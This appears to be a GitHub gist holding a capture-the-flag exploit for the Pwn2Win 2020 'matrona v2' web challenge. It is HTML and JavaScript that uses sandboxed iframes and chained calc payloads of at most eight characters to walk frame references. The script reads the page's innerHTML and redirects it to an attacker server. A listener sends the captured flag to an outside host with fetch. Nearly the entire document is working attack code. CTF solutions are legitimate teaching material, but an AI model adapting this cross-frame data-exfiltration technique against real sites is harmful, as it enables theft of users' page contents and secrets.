Skip to content

Instantly share code, notes, and snippets.

@icchy
Last active April 26, 2023 22:01
Show Gist options
  • Save icchy/23f76340de55fca8fcf8c94ebbfdf0d2 to your computer and use it in GitHub Desktop.
Save icchy/23f76340de55fca8fcf8c94ebbfdf0d2 to your computer and use it in GitHub Desktop.
Pwn2Win 2020 matrona v2
<iframe id="ifr0" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe>
<iframe id="ifr1" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe>
<script>
window.addEventListener('hashchange', (evt) => {
const flag = evt.newURL.match(/CTF-BR\{.*\}/)[0]
fetch(`//tool.tonkatsu.info/?flag=${encodeURIComponent(flag)}`)
})
</script>
<script>
const wait = (sec) => new Promise(res => setTimeout(res, sec))
const urls = {}
const baseURL = 'https://matrona.club/?calc='
const ns = [
document.querySelector('#ifr0').contentWindow,
document.querySelector('#ifr1').contentWindow,
]
const nsURL = "https://matrona.club/?calc=A.B=B"
const reloadT = async (idx) => {
ns[idx].location =`${nsURL}#${Math.random()}`
await(100)
}
const prepare = async (idx1, idx2, payload, data) => {
if (payload.length>8) throw new Error(`length limit: ${payload}`)
const p = urls[`${idx1}:${idx2}`] = `${baseURL}${encodeURIComponent(payload)}`
console.log(p)
ns[idx1].frames[idx2].location = p
await wait(500)
}
const reload = async (idx1, idx2) => {
if (urls[`${idx1}:${idx2}`] === undefined) throw new Error(`payload is not set for ${idx1}, ${idx2}`)
ns[idx1].frames[idx2].location = `${urls[`${idx1}:${idx2}`]}#${Math.random()}`
await wait(100)
}
const exec = async (idx1, idx2, payload, r=true) => {
await prepare(idx1, idx2, payload)
if (r) {
await reloadT(idx1)
}
await reload(idx1, idx2)
}
const assign = async (idx, x, y, z, assign=true) => {
await exec(idx, 0, `B.y=${y}`)
await exec(idx, 0, `B.z="${z.substring(0, 2)}"`)
if (z.length > 2) {
for (let i = 2; i < z.length; i++) {
await exec(idx, 0, `B.z+="${z[i]}"`)
}
}
reload(idx, 1) // B.x=B.y[B.z] is executed
if (assign) {
await exec(idx, 0, `B.${x}=B.x`)
}
}
const assign2 = async (idx, x, y) => {
await exec(idx, 0, `B.${x}="${y.substring(0, 2)}"`)
if (y.length > 2) {
for (let i = 2; i < y.length; i++) {
await exec(idx, 0, `B.${x}+="${y[i]}"`)
}
}
}
main = async () => {
await wait(2000)
await exec(0, 0, 'name="A"', false)
await exec(0, 1, 'name="B"', false)
await exec(1, 0, 'name="A"', false)
await exec(1, 1, 'name="B"', false)
await prepare(0, 1, 'w.x=y[z]')
await prepare(1, 1, 'x[y]=z')
await exec(0, 0, `B.w=B`)
await assign(0, 'a', 'B', 'parent')
await assign(0, 'b', 'B.a', 'parent')
await assign(0, 'c', 'B.b', 'frames')
await assign(0, 'd', 'B.c', '1')
await assign(0, 'e', 'B.d', 'B') // ns0.B.e => ns1.B
await assign(0, 'f', 'B', 'document')
await assign(0, 'g', 'B.f', 'body')
await assign(0, 'h', 'B.g', 'innerHTML')
await exec(0, 0, `B.w=B.e`)
reload(0, 1) // w.x=y[z]
await exec(1, 0, `B.a=B.x`) // ns1.B.a = 'http://[server]/#'+ns0.B.document.body.innerHTML
await exec(0, 0, `B.w=B`)
await assign(0, 'j', 'B', 'parent')
await assign(0, 'k', 'B.j', 'parent')
await exec(0, 0, `B.w=B.e`)
reload(0, 1) // w.x=y[z]
await assign2(1, 'z', `http://[server]/q.html#`)
await exec(1, 0, `B.z+=B.a`)
await assign2(1, 'y', 'location')
reload(1, 1) // x[y]=z => parent.parent.location = 'http://[server]/q.html#{innerHTML}'
}
main()
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment